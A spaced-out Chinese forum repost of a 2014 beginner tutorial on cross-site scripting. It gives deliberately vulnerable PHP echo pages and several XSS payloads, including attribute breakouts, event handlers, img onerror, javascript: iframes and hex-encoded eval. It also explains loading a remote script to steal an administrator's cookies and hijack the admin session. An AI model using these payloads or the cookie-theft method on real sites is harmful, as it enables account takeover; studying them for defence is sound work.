搜索

[8191] 2014-08-12_XSS的原理分析与解剖

文档创建者：s7ckTeam
浏览次数：21
最后更新：2025-01-17
2014-08-12_XSS的原理分析与解剖 X S S 的 原 理 分 析 与 解 剖 F r e e B u f   2 0 1 4 - 0 8 - 1 2 作 者   B l a c k - H o l e 0 × 0 1   前 言 前 言 : 《 x s s 攻 击 手 法 》 一 开 始 在 互 联 网 上 资 料 并 不 多 ( 都 是 现 成 的 代 码 ， 没 有 从 基 础 的 开 始 ) ， 直 到 刺 的 《 白 帽 子 讲 W E B 安 全 》 和 c n 4 r r y 的 《 X S S 跨 站 脚 本 攻 击 剖 析 与 防 御 》 才 开 始 好 转 。 我 这 里 就 不 说 什 么 x s s 的 历 史 什 么 东 西 了 ， x s s 是 一 门 又 热 门 又 不 太 受 重 视 的 W e b 攻 击 手 法 ， 为 什 么 会 这 样 呢 ， 原 因 有 下 ： 1 、 耗 时 间 2 、 有 一 定 几 率 不 成 功 3 、 没 有 相 应 的 软 件 来 完 成 自 动 化 攻 击 4 、 前 期 需 要 基 本 的 h t m l 、 j s 功 底 ， 后 期 需 要 扎 实 的 h t m l 、 j s 、 a c t i o n s c r i p t 2 / 3 . 0 等 语 言 的 功 底 5 、 是 一 种 被 动 的 攻 击 手 法 6 、 对 w e b s i t e 有 h t t p - o n l y 、 c r o s s d o m i a n . x m l 没 有 用 但 是 这 些 并 没 有 影 响 黑 客 对 此 漏 洞 的 偏 爱 ， 原 因 不 需 要 多 ， 只 需 要 一 个 X s s 几 乎 每 个 网 站 都 存 在 ， g o o g l e 、 b a i d u 、 3 6 0 等 都 存 在 。 0 × 0 2   原 理 原 理 : 首 先 我 们 现 在 本 地 搭 建 个 P H P 环 境 ( 可 以 使 用 p h p s t u d y 安 装 包 安 装 ) ， 然 后 在 i n d e x . p h p 文 件 里 写 入 如 下 代 码 : < h t m l > < h e a d > < m e t a   h t t p - e q u i v = " C o n t e n t - T y p e "   c o n t e n t = " t e x t / h t m l ;   c h a r s e t = u t f - 8 "   / >   < t i t l e > X S S 原 理 重 现 < / t i t l e > < / h e a d > < b o d y > < f o r m   a c t i o n = " "   m e t h o d = " g e t " > < i n p u t   t y p e = " t e x t "   n a m e = " x s s _ i n p u t " > < i n p u t   t y p e = " s u b m i t " > < / f o r m > < h r > < ? p h p $ x s s   =   $ _ G E T [ ' x s s _ i n p u t ' ] ; e c h o   ' 你 输 入 的 字 符 为 < b r > ' . $ x s s ; ? > < / b o d y > < / h t m l > 然 后 ， 你 会 在 页 面 看 到 这 样 的 页 面
我 们 试 着 输 入 a b c d 1 2 3 ， 得 到 的 结 果 为 我 们 在 看 看 源 代 码 我 们 输 入 的 字 符 串 被 原 封 不 动 的 输 出 来 了 ， 那 这 里 我 们 提 出 来 一 个 假 设 ， 假 设 我 们 在 搜 索 框 输 入 < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > 会 出 现 什 么 呢 ？ 如 果 按 照 上 面 的 例 子 来 说 ， 它 应 该 存 在 第 1 2 行 的 < b r > 与 < / b o b y > 之 间 ， 变 成 < b r > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > < / b o b y > ， 那 应 该 会 弹 出 对 话 框 。 既 然 假 设 提 出 来 ， 那 我 们 来 实 现 下 这 个 假 设 成 不 成 立 吧 。 我 们 输 入 < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > ， 得 到 的 页 面 为 成 功 弹 窗 ， 这 个 时 候 基 本 上 就 可 以 确 定 存 在 x s s 漏 洞 。 我 们 在 看 看 源 代 码
看 来 ， 我 们 的 假 设 成 功 了 ， 这 节 就 说 说 X S S 的 原 理 ， 下 面 几 节 说 说 x s s 的 构 造 和 利 用 0 × 0 3   x s s 利 用 输 出 的 环 境 来 构 造 代 码 利 用 输 出 的 环 境 来 构 造 代 码   : 上 节 说 了 x s s 的 原 理 ， 但 是 我 们 的 输 出 点 不 一 在 < b r > 和 < / b o b y > 里 ， 可 以 出 现 在 h t m l 标 签 的 属 性 里 ， 或 者 其 他 标 签 里 面 。 所 以 这 节 很 重 要 ， 因 为 不 一 定   当 你 输 入 < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > 就 会 弹 窗 。 先 贴 出 代 码 : < h t m l >         < h e a d >                 < m e t a   h t t p - e q u i v = " C o n t e n t - T y p e "   c o n t e n t = " t e x t / h t m l ;   c h a r s e t = u t f - 8 "   / >                 < t i t l e > X S S 利 用 输 出 的 环 境 来 构 造 代 码 < / t i t l e >         < / h e a d >         < b o d y >                 < c e n t e r > < h 6 > 把 我 们 输 入 的 字 符 串   输 出 到 i n p u t 里 的 v a l u e 属 性 里 < / h 6 >                 < f o r m   a c t i o n = " "   m e t h o d = " g e t " > < h 6 > 请 输 入 你 想 显 现 的 字 符 串 < / h 6 >                 < i n p u t   t y p e = " t e x t "   n a m e = " x s s _ i n p u t _ v a l u e "   v a l u e = " 输 入 " > < b r >                 < i n p u t   t y p e = " s u b m i t " > < / f o r m > < h r >                 < ? p h p                       $ x s s   =   $ _ G E T [ ' x s s _ i n p u t _ v a l u e ' ] ;                       i f ( i s s e t ( $ x s s ) ) {                               e c h o   ' < i n p u t   t y p e = " t e x t "   v a l u e = " ' . $ x s s . ' " > ' ;                       }   e l s e   {                               e c h o   ' < i n p u t   t y p e = " t y p e "   v a l u e = " 输 出 " > ' ;                       } ? >                 < / c e n t e r >         < / b o d y > < / h t m l > 下 面 是 代 码 的 页 面
这 段 代 码 的 作 用 是 把 第 一 个 输 入 框 的 字 符 串 ， 输 出 到 第 二 个 输 入 框 ， 我 们 输 入 1 ， 那 么 第 二 个 i n p u t 里 的 v a l u e 值 就 是 1 ， 下 面 是 页 面 的 截 图 和 源 代 码 的 截 图 ( 这 里 我 输 入 < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > 来 测 试 ) 明 显 的 可 以 看 到 ， 并 没 有 弹 出 对 话 框 ， 大 家 可 能 会 疑 惑 为 什 么 没 有 弹 窗 呢 ， 我 们 来 看 看 源 代 码 我 们 看 到 我 们 输 入 的 字 符 串 被 输 出 到 第 1 5 行 i n p u t 标 签 里 的 v a l u e 属 性 里 面 ， 被 当 成 v a l u e 里 的 值 来 显 现 出 来 ， 所 以 并 没 有 弹 窗 ， 这 时 候 我 们 该 怎 么 办 呢 ？ 聪 明 的 人 已 经 发 现 了 可 以 在 < s c r i p t > a l e r t ( & # 0 3 9 ; x s s & # 0 3 9 ; ) < / s c r i p t > 前 面 加 个 " > 来 闭 合 i n p u t 标 签 。 所 以 应 该 得 到 的 结 果 为
成 功 弹 窗 了 ， 我 们 在 看 看 这 时 的 页 面 看 到 后 面 有 第 二 个 i n p u t 输 入 框 后 面 跟 有 " > 字 符 串 ， 为 什 么 会 这 样 呢 ， 我 们 来 看 看 源 代 码 这 时 可 以 看 到 我 们 构 造 的 代 码 里 面 有 两 个 " > ， 第 一 个 " > 是 为 了 闭 合 i n p u t 标 签 ， 所 以 第 二 个 " > 就 被 抛 弃 了 ， 因 为 h t m l 的 容 错 性 高 ， 所 以 并 没 有 像 p h p 那 样 出 现 错 误 ， 而 是 直 接 把 多 余 的 字 符 串 来 输 出 了 ， 有 的 人 是 个 完 美 主 义 者 ， 不 喜 欢 有 多 余 的 字 符 串 被 输 出 ， 这 时 该 怎 么 办 呢 ？ 这 里 我 问 大 家 一 个 问 题 ， 我 之 前 说 的 x s s 代 码 里 ， 为 什 么 全 是 带 有 标 签 的 。 难 道 就 不 能 不 带 标 签 么 ？ ！ 答 ： 当 然 可 以 。 既 然 可 以 不 用 标 签 ， 那 我 们 就 用 标 签 里 的 属 性 来 构 造 X S S ， 这 样 的 话 ， x s s 代 码 又 少 ， 又 不 会 有 多 余 的 字 符 串 被 输 出 来 。 还 是 这 个 环 境 ， 但 是 不 能 使 用 标 签 ， 你 应 该 怎 么 做 。 想 想 i n p u t 里 有 什 么 属 性 可 以 调 用 j s ， h t m l 学 的 好 的 人 ， 应 该 知 道 了 ， o n 事 件 ， 对 的 。 我 们 可 以 用 o n 事 件 来 进 行 弹 窗 ， 比 如 这 个 x s s 代 码   我 们 可 以 写 成 "   o n c l i c k = " a l e r t ( & # 0 3 9 ; x s s & # 0 3 9 ; ) 这 时 ， 我 们 在 来 试 试 ， 页 面 会 发 生 什 么 样 的 变 化 吧 。
没 有 看 到 弹 窗 啊 ， 失 败 了 么 ？ 答 案 当 然 是 错 误 的 ， 因 为 o n c l i c k 是 鼠 标 点 击 事 件 ， 也 就 是 说 当 你 的 鼠 标 点 击 第 二 个 i n p u t 输 入 框 的 时 候 ， 就 会 触 发 o n c l i c k 事 件 ， 然 后 执 行 a l e r t ( & # 0 3 9 ; x s s & # 0 3 9 ; ) 代 码 。 我 们 来 试 试 看 当 我 点 击 后 ， 就 出 现 了 弹 窗 ， 这 时 我 们 来 看 看 源 代 码 把 第 1 5 行 ， v a l u e 值 为 空 ， 当 鼠 标 点 击 时 ， 就 会 弹 出 对 话 框 。 这 里 可 能 就 会 有 人 问 了 ， 如 果 要 点 击 才 会 触 发 ， 那 不 是 很 麻 烦 么 ， 成 功 率 不 就 又 下 降 了 么 。 我 来 帮 你 解 答 这 个 问 题 ， o n 事 件 不 止 o n c l i c k 这 一 个 ， 还 有 很 多 ， 如 果 你 想 不 需 要 用 户 完 成 什 么 动 作 就 可 以 触 发 的 话 ， i 可 以 把 o n c l i c k 改 成 O n m o u s e m o v e   当 鼠 标 移 动 就 触 发 O n l o a d   当 页 面 加 载 完 成 后 触 发 还 有 很 多 ， 我 这 里 就 不 一 一 说 明 了 ， 有 兴 趣 的 朋 友 可 以 自 行 查 询 下 。 别 以 为 就 这 样 结 束 了 ， 还 有 一 类 环 境 不 能 用 上 述 的 方 法 ， 那 就 是 如 果 在 < t e x t a r e a > 标 签 里 呢 ？ ！ 或 者 其 他 优 先 级 比 s c r i p t 高 的 呢 ？ 就 下 面 这 样
这 时 我 们 该 怎 么 办 呢 ？ 既 然 前 面 都 说 了 闭 合 属 性 和 闭 合 标 签 了 ， 那 能 不 能 闭 合 完 整 的 标 签 呢 ， 答 案 是 肯 定 的 。 我 们 可 以 输 入 < / t e x t a r e a > < s c r i p t > a l e r t ( ' x s s ' ) < / s c r i p t > 就 可 以 实 现 弹 窗 了 0 × 0 4   过 滤 的 解 决 办 法 过 滤 的 解 决 办 法 假 如 说 网 站 禁 止 过 滤 了 s c r i p t   这 时 该 怎 么 办 呢 ， 记 住 一 句 话 ， 这 是 我 总 结 出 来 的 “ x s s 就 是 在 页 面 执 行 你 想 要 的 j s ” 不 用 管 那 么 多 ， 只 要 能 运 行 我 们 的 j s 就 O K ， 比 如 用 i m g 标 签 或 者 a 标 签 。 我 们 可 以 这 样 写 < i m g   s c r = 1   o n e r r o r = a l e r t ( ' x s s ' ) > 当 找 不 到 图 片 名 为 1 的 文 件 时 ， 执 行 a l e r t ( ' x s s ' ) < a   h r e f = j a v a s c r i p : a l e r t ( ' x s s ' ) > s < / a >   点 击 s 时 运 行 a l e r t ( ' x s s ' ) < i f r a m e   s r c = j a v a s c r i p t : a l e r t ( ' x s s ' ) ; h e i g h t = 0   w i d t h = 0   / > < i f r a m e > 利 用 i f r a m e 的 s c r 来 弹 窗 < i m g   s r c = " 1 "   o n e r r o r = e v a l ( " x 6 1 x 6 c x 6 5 x 7 2 x 7 4 x 2 8 x 2 7 x 7 8 x 7 3 x 7 3 x 2 7 x 2 9 " ) > < / i m g > 过 滤 了 a l e r t 来 执 行 弹 窗 等 等 有 很 多 的 方 法 ， 不 要 把 思 想 总 局 限 于 一 种 上 面 ， 记 住 一 句 话 “ x s s 就 是 在 页 面 执 行 你 想 要 的 j s ” 其 他 的 管 他 去 。 ( 当 然 有 的 时 候 还 有 管 他 … ) 0 × 0 5   x s s 的 利 用 的 利 用 说 了 那 么 多 ， 大 家 可 能 都 以 为 x s s 就 是 弹 窗 ， 其 实 错 了 ， 弹 窗 只 是 测 试 x s s 的 存 在 性 和 使 用 性 。 这 时 我 们 要 插 入 j s 代 码 了 ， 怎 么 插 呢 ？ 你 可 以 这 样 < s c r i p t   s c r = " j s _ u r l " > < / s c r i p t > 也 可 以 这 样 < i m g   s r c = x   o n e r r o r = a p p e n d C h i l d ( c r e a t e E l e m e n t ( ' s c r i p t ' ) ) . s r c = ' j s _ u r l '   / > 各 种 姿 势 ， 各 种 插 ， 只 要 鞥 运 行 我 们 的 j s 就 O K 。 那 运 行 我 们 的 j s 有 什 么 用 呢 ？ J s 可 以 干 很 多 的 事 ， 可 以 获 取 c o o k i e s ( 对 h t t p - o n l y 没 用 ) 、 控 制 用 户 的 动 作 ( 发 帖 、 私 信 什 么 的 ) 等 等 。 比 如 我 们 在 网 站 的 留 言 区 输 入 < s c r i p t   s c r = " j s _ u r l " > < / s c r i p t > 当 管 理 员 进 后 台 浏 览 留 言 的 时 候 ， 就 会 触 发 ， 然 后 管 理 员 的 c o o k i e s 和 后 台 地 址 还 有 管 理 员 浏 览 器 版 本 等 等 你 都 可 以 获 取 到 了 ， 再 用 “ 桂 林 老 兵 c o o k i e 欺 骗 工 具 ” 来 更 改 你 的 c o o k i e s ， 就 可 以 不 用 输 入 账 号   密 码   验 证 码   就 可 以 以 管 理 员 的 方 式 来 进 行 登 录 了 。 至 于 不 会 j s 的 怎 么 写 j s 代 码 呢 ， 放 心 网 上 有 很 多 x s s 平 台 ， 百 度 一 下 就 可 以 看 到 了 。 页 面 是 傻 瓜 式 的 操 作 ， 这 里 就 不 再 过 多 的 说 明 了 。
有 兴 趣 的 朋 友 ， 下 面 是 c n 4 r r y 给 我 的 几 个 x s s 平 台 ， 大 家 可 以 自 己 钻 研 与 研 究 ， 也 可 以 自 己 搭 建 h t t p : / / p a n . b a i d u . c o m / s / 1 n t q O p 4 X 在 发 布 此 文 章 的 时 候 ， 我 特 地 和 c n 4 r r y 谈 了 一 下 ， 得 到 的 结 果 是 ， 我 会 继 续 写 这 个 系 列 的 。 当 我 把 这 个 d o c 发 给 c n 4 r r y 的 时 候 ， 他 就 直 接 来 句 “ 嗯   写 的 比 较 基 础 ” ， 我 本 来 的 打 算 是 写 一 个 x s s 入 门 的 就 可 以 了 ， 我 只 是 感 觉   现 在 网 上 的 文 章 从 简 单 开 始 介 绍 x s s 的 比 较 少 ， 都 是 在 书 里 有 所 以   我 想 在 网 上 把 他 讲 的 细 点   x s s 入 门 就 可 以 了 ， 后 面 的 路   就 可 以 自 己 摸 索 了 但 是 和 他 谈 过 后 ， 感 觉 还 是 要 继 续 写 下 去 ， 因 为 “ x s s 盲 打 ” “ x s s 编 码 绕 过 ” “ f u z z i n g   x s s ” 等 等 ， 如 果 是 自 己 慢 慢 琢 磨 的 话 ， 需 要 较 长 的 时 间 ， 所 以 我 打 算 每 过 一 段 时 间 就 会 推 出 下 一 个 x s s 的 文 章 ， 写 个 系 列 出 来 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理